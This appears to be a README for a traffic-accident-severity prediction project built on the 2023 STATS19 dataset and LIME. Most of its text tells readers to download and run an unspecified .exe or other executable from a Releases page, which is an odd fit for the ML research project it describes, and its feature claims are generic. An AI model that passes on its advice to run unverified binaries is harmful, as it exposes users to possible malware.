🚦 Feature-Engineering-Framework-For-Traffic-Accident-Prediction-using-XAI - Predict Traffic Accident Severity Easily

📦 Overview

This project predicts traffic accident severity using the 2023 STATS19 dataset. It employs machine learning techniques and LIME to forecast outcomes such as 'Fatal' or 'Slight'. Additionally, it provides clear explanations for its predictions, helping enhance road safety.

🚀 Getting Started

To get started, you will need to download the application. Follow the steps below.

📥 Download & Install

Visit this page to download: GitHub Releases.

1. Click the link above to open the Releases page.
2. Find the most recent version of the application. Look for a file that ends with .exe (for Windows) or a similar executable file for your operating system.
3. Click on the file to start the download.

🎯 Installation Steps

1. Once the download finishes, locate the downloaded file on your computer.
2. Double-click the file to start the installation.
3. Follow the on-screen prompts to complete the installation.
4. Once installed, find the application in your programs list to launch it.

⚙️ How to Use

1. Open the application after installation.
2. Import or input your data formatted according to the project guidelines.
3. Select the prediction options based on your needs.
4. Click the "Predict" button to generate results.
5. Review the output, which will include predictions and explanations.

🛠️ Features

• User-Friendly Interface: Designed for simplicity, enabling easy navigation.
• Machine Learning Models: Utilizes advanced algorithms for accurate predictions.
• Explainability: LIME integration provides clear explanations, helping users understand the results.
• Data Compatibility: Works seamlessly with the 2023 STATS19 dataset.

📋 System Requirements

• Operating System: Windows 10 or later, macOS 10.15 or later, or a compatible Linux distribution.
• RAM: Minimum 4 GB recommended.
• Disk Space: At least 500 MB free space for installation.
• Internet Connection: For initial download and data updates.

🌐 Contributing

If you would like to contribute to this project, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit.
4. Push your branch and create a pull request.

📚 Topics & Tags

This project covers various essential topics, including:

• Audit
• Decoding Library
• Encoding
• Explainability
• Feature Engineering
• Feature Selection
• LIME
• Machine Learning
• Mapping
• Multiclass Classification
• SMOTE Sampling
• XAI

💬 Support

For questions or support, feel free to open an issue in the repository, or contact us through the GitHub Discussions.

👤 License

This project is licensed under the MIT License. See the LICENSE file for details.